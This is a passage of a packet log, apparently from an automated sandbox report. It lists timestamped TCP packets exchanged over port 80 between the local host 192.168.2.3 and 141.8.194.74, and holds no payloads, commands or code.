Jan 14, 2022 01:52:05.546176910 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.546189070 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.546210051 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.546219110 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.546231985 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.546235085 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.546253920 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.546274900 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.546276093 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.546293974 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.546328068 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.546350002 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.546351910 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.546370029 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.546381950 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.546392918 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.546406984 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.546413898 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.546458006 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.606347084 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.606414080 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.606591940 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.619728088 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.619790077 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.619831085 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.619868040 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.619908094 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.619915009 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.619940996 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.619949102 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.619990110 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.620026112 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.620029926 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.620069981 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.620112896 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.620121002 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.620151997 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.620188951 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.620203972 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.620228052 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.620265961 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.620269060 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.620305061 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.620343924 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.620345116 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.620383024 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.620407104 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.620421886 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.620460033 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.620496988 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.620517969 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.620536089 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.620551109 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.620574951 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.620613098 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.620651007 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.620670080 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.620688915 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.620709896 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.620728016 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.620767117 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.620803118 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.620804071 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.620845079 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.620882034 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.620907068 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.620919943 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.620937109 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.620959997 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.620997906 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.621037960 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.621037960 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.621076107 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.621093035 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.621114969 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.621154070 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.621166945 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.621192932 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.621231079 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.621269941 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.621294022 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.621306896 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.621328115 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.621350050 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.621387959 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.621423006 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.621423006 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.621463060 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.621505976 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.621517897 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.621592045 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.680047035 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.680104971 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.680175066 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.694804907 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.694864988 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.694907904 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.694947958 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.694953918 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.694987059 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.695014000 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.695025921 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.695067883 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.695107937 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.695144892 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.695147038 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.695156097 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.695188046 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.695226908 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.695242882 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.695266008 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.695306063 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.695341110 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.695354939 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.695382118 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.695395947 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.695421934 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.695460081 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.695497990 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.695517063 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.695537090 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.695574999 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.695614100 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.695622921 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.695641994 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.695650101 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.695689917 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.695728064 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.695729017 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.695765972 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.695804119 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.695825100 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.695843935 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.695856094 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.695883036 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.695923090 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.695959091 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.695997000 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.696012974 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.696022987 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.696037054 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.696067095 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.696095943 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.696135998 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.696149111 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.696158886 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.696173906 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.696225882 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.696274996 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.696316004 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.696352959 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.696392059 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.696412086 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.696429968 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.696451902 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.696466923 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.696506023 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.696543932 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.696572065 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.696582079 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.696598053 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.696624041 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.698071957 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.753599882 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.753654957 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.753696918 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.753739119 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.753778934 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.753813028 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.753817081 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.753858089 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.753895998 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.753916979 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.753940105 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.753978014 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.754007101 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.754018068 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.754059076 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.754110098 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.754173994 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.754214048 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.754240036 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.754252911 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.754291058 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.754314899 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.754332066 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.754371881 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.754410028 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.754451036 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.754462957 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.754493952 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.754530907 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.754533052 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.754539967 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.754549980 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.754573107 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.754610062 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.754648924 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.754672050 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.754687071 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.754724026 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.754746914 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.754761934 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.754775047 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.754800081 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.754838943 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.754862070 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.754878044 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.754914045 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.754951000 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.754972935 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.754988909 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.754993916 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.755026102 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.755656004 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.769962072 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.770024061 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.770076990 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.770136118 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.770172119 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.770188093 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.770230055 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.770242929 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.770294905 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.770324945 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.770344019 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.770400047 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.770442963 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.770452976 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.770503044 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.770518064 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.770556927 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.770612001 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.770648956 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.770668983 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.770723104 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.770771980 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.770785093 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.770822048 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.770826101 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.770872116 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.770920038 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.770932913 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.770970106 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.771018982 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.771040916 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.771070957 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.771131039 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.771147966 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.771186113 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.771235943 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.771285057 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.771287918 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.771332979 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.771383047 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.771389961 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.771431923 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.771482944 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.771490097 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.771536112 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.771538973 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.771584988 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.771636009 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.771639109 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.771697044 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.771744013 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.771792889 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.771822929 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.771838903 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.771842957 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.771902084 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.771953106 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.772005081 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.772010088 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.772056103 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.772104979 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.772121906 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.772166014 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.772190094 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.772217035 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.772267103 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.772315979 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.772320032 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.772373915 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.772373915 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.772424936 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.772557020 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.828490019 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.828550100 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.828588963 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.828623056 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.828648090 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.828684092 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.828824997 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.901988983 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.902129889 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:06.344038963 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:06.419034004 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.419277906 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:06.419370890 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:06.494291067 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.494522095 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.494584084 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.494642019 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.494656086 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:06.494693995 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.494749069 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:06.494772911 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.494826078 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.494877100 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.494879961 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:06.494929075 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.494981050 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:06.494982004 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.495038033 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.495197058 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:06.570231915 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.570291996 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.570343018 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.570374012 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:06.570403099 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.570451975 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.570507050 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.570513964 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:06.570558071 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.570611000 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.570626020 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:06.570667982 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.570669889 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:06.570719004 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.570774078 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.570780039 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:06.570827007 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.570888042 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.570892096 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:06.571100950 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.571165085 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.571185112 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:06.571233988 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:06.571295023 CET	80	49922	141.8.194.74	192.168.2.3
